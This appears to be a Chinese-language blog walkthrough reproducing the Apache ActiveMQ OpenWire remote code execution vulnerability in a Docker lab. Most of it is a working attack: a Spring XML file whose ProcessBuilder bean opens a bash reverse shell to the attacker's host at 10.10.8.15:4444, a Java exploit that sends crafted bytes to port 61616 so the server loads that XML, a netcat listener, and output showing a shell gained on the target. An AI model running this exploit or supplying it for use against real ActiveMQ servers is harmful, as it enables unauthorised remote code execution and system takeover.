漏洞概述

  • ActiveMQ 是一个流行的开源消息中间件,用于构建可靠的、高性能的分布式应用程序。它实现了 Java Message Service (JMS) API,并提供了可靠的消息传递机制,支持点对点和发布/订阅消息模型。
  • 最近几天流传的漏洞,Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ 在默认安装下开放了 61616 服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行(如懂,胖胖摇头)

影响范围

  • Apache ActiveMQ < 5.18.3
  • Apache ActiveMQ < 5.17.6
  • Apache ActiveMQ < 5.16.7
  • Apache ActiveMQ < 5.15.16

复现环境

  • 之前有尝试过本地搭个环境,发现有点复杂,还是使用 Docker 一键搭建漏洞环境:
1
docker run -d -p 61616:61616 -p 8161:8161 islandora/activemq:2.0.0

漏洞利用

前情提要:

  • 攻击机(VPS):10.10.8.15
  • 靶机:10.10.8.16

第一步

  • 在 VPS 中的任意目录下创建一个 poc.xml 文件,文件内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.springframework.org/schema/beans"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/10.10.8.15/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

第二步

  • 在改目录开启 Web 服务,Apache、Nginx、Python 都行,这里为了方便使用 Python3 起一个:
1
python3 -m http.server 8080

第三步

  • 创建 Java Exp 文件,并写入如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.net.Socket;

public class ActiveMQ {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "10.10.8.16"; // Target IP
int port = 61616; // Target Port
String pocxml= "http://10.10.8.15:8080/poc.xml"; // VPS Web(XML address)
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0);
out.writeByte(31);
out.writeInt(1);
out.writeBoolean(true);
out.writeInt(1);
out.writeBoolean(true);
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
out.writeBoolean(true);
out.writeUTF(pocxml);
out.close();
os.close();
sck.close();
System.out.println("[*] Target\t" + ip + ":" + port);
System.out.println("[*] XML address\t" + pocxml);
System.out.println("[*] Payload send success.");
}
}

第四步

  • 在 VPS 上进行监听:
1
2
3
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...

第五步

  • 编译运行文件即可:

注:Kali 2023.3 自带的 Java17 没有 Javac 命令,我自己装了个 Java8,不想装可以用 Windows。

1
2
3
4
5
6
7
8
9
10
11
root at kali in /opt 
$ /usr/lib/jvm/jdk1.8.0_301/bin/javac ActiveMQ.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

root at kali in /opt
$ /usr/lib/jvm/jdk1.8.0_301/bin/java ActiveMQ
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Poc for ActiveMQ openwire protocol rce
[*] Target 10.10.8.16:61616
[*] XML address http://10.10.8.15:8080/poc.xml
[*] Payload send success.
  • 运行成功后,等待 10s 即可接收到 Shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.16: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.15] from (UNKNOWN) [10.10.8.16] 48846
bash: cannot set terminal process group (410): Not a tty
bash: no job control in this shell
dace9600f06c:/run/s6-rc:s6-rc-init:kljoAj/servicedirs/activemq$ id
id
uid=100(activemq) gid=1000(activemq) groups=5(tty),1000(activemq)
dace9600f06c:/run/s6-rc:s6-rc-init:kljoAj/servicedirs/activemq$ whoami
whoami
activemq